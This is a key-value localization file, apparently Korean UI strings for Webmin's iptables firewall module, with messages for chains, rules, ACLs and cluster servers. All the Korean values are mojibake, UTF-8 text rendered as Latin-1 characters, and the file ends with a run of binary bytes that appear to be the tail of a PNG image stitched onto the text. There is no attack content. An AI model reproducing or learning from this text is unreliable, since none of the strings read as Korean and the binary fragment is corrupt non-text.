log_clear_chain=í…Œì´ë¸” $2 ì—ì„œ ì²´ì¸ $1 ì„ (를) 지 웠습니다.
log_create_chain=í…Œì´ë¸” $2 ì— ì²´ì¸ $1 ì„ (를) ìƒì„±í–ˆìŠµë‹ˆë‹¤.
log_modify_chain=í…Œì´ë¸” $2 ì—ì„œ ì²´ì¸ $1 ì— ëŒ€í•œ 기본 ë™ìž‘ 설정
log_delsel_chain=í…Œì´ë¸” $2 ì˜ ì²´ì¸ $1 ì—ì„œ $3 ê°œì˜ ê·œì¹™ì„ ì‚­ì œí–ˆìŠµë‹ˆë‹¤.
log_movesel_chain=í…Œì´ë¸” $2 ì˜ ì²´ì¸ $1 ì—ì„œ $3 ê·œì¹™ì„ ì´ë™í–ˆìŠµë‹ˆë‹¤.
log_apply=ì ìš©ë˜ëŠ” 구성
log_unapply=ë˜ ëŒë¦° 구성
log_setup=방화벽 설정
log_convert=기존 방화벽으로 변환
log_bootup=부팅시 방화벽 사용
log_bootdown=부팅시 방화벽 비활성화
log_add_host=í´ëŸ¬ìŠ¤í„° 서버 $1 추가
log_add_group=그룹 $1 ì˜ í´ëŸ¬ìŠ¤í„° 서버를 추가했습니다.
log_delete_host=í´ëŸ¬ìŠ¤í„° 서버 $1 ì„ ì œê±°í–ˆìŠµë‹ˆë‹¤.
log_delete_group=$1 ê°œì˜ í´ëŸ¬ìŠ¤í„° 서버를 제거했습니다.
log_openports=방화벽 í¬íŠ¸ $1 ì„ (를) 열었습니다.

setup_eiface=외부 ë„¤íŠ¸ì›Œí¬ ì¸í„°íŽ˜ì´ìŠ¤ê°€ ìž…ë ¥ë˜ì§€ 않았습니다
setup_ecannot=ë°©í™”ë²½ì„ ì„¤ì •í•  수 없습니다

acl_tables=허용ë˜ëŠ” IPtables
acl_apply=êµ¬ì„±ì„ ì ìš© í•  수 있습니까?
acl_unapply=êµ¬ì„±ì„ ì ìš© í•  수 없습니까?
acl_bootup=부팅시 ë°©í™”ë²½ì„ í™œì„±í™” í•  수 있습니까?
acl_setup=초기 방화벽 ì„¤ì •ì„ ìˆ˜í–‰ í•  수 있습니까?
acl_cluster=방화벽 í´ëŸ¬ìŠ¤í„°ë¥¼ 관리 í•  수 있습니까?
acl_jumps=허용ë˜ëŠ” ë™ìž‘
acl_jall=모ë‘
acl_newchain=새로운 ì²´ì¸ì„ 만들 수 있습니까?
acl_delchain=ì²´ì¸ì„ 삭제하거나 지울 수 있습니까?
acl_policy=기본 ì •ì±…ì„ ë³€ê²½í•  수 있습니까?

etable=ì´ IPtableì„ íŽ¸ì§‘ í•  수 없습니다
ejump=ì´ ê·œì¹™ì„ íŽ¸ì§‘ í•  수 없습니다
ecluster=방화벽 í´ëŸ¬ìŠ¤í„°ë¥¼ 관리 í•  수 없습니다

cluster_title=í´ëŸ¬ìŠ¤í„° 방화벽 서버
cluster_none=방화벽 í´ëŸ¬ìŠ¤í„°ì— 서버가 ì•„ì§ ì¶”ê°€ë˜ì§€ 않았습니다.
cluster_host=호스트 ì´ë¦„
cluster_desc=기술
cluster_os=ìš´ì˜ ì²´ì œ
cluster_add=서버 추가
cluster_gadd=ê·¸ë£¹ì— ì„œë²„ 추가
cluster_need=여기ì—ì„œ 관리하려면 Webmin Servers Index ëª¨ë“ˆì— ë¡œê·¸ì¸ ë° ë¹„ë°€ë²ˆí˜¸ê°€ìžˆëŠ” 서버를 추가해야합니다.
cluster_return=í´ëŸ¬ìŠ¤í„° 서버
cluster_delete=ì„ íƒëœ ê²ƒì„ ì§€ì›Œ ë¼

add_title=서버 추가
add_msg=$1 추가 중 ..
add_gmsg=$1 ê·¸ë£¹ì— ì„œë²„ 추가
add_err=서버를 추가하지 못했습니다
add_gerr=ê·¸ë£¹ì„ ì¶”ê°€í•˜ì§€ 못했습니다
add_echeck=$1 ì„œë²„ì— Linux 방화벽 ëª¨ë“ˆì´ ì—†ìŠµë‹ˆë‹¤
add_emissing=$1 ì„œë²„ì— ë°©í™”ë²½ 명령 $2 ì´ (ê°€) 없습니다.
add_ok=활성 방화벽 ê·œì¹™ì´ $2 ì¸ $1 ì´ (ê°€) 추가ë˜ì—ˆìŠµë‹ˆë‹¤.
add_enone=추가 할 서버가 없습니다!

policy_ecannot=ì´ ì²´ì¸ì— 대한 기본 ì •ì±…ì„ ë³€ê²½í•  수 없습니다

move_title=ì´ë™ 규칙
move_count=ì„ íƒëœ 규칙
move_chain=현재 변화
move_dest=ëŒ€ìƒ ì²´ì¸
move_ok=지금 ì´ë™
move_header=규칙 ì´ë™ 옵션

rename_title=ì²´ì¸ ì´ë¦„ 바꾸기
rename_count=ì²´ì¸ì˜ 규칙
rename_chain=현재 ì´ë¦„
rename_name=새로운 ì´ë¦„
rename_ok=지금 ì´ë¦„ 바꾸기
rename_header=ì²´ì¸ ì´ë¦„ 바꾸기 옵션
rename_adjust=ì´ ì²´ì¸ìœ¼ë¡œ 넘어가는 다른 ê·œì¹™ì„ ìˆ˜ì • 하시겠습니까?
rename_none=ì—†ìŒ
rename_ecannot=ì²´ì¸ì˜ ì´ë¦„ì„ ë°”ê¿€ 수 없습니다
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•á¯˜G{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚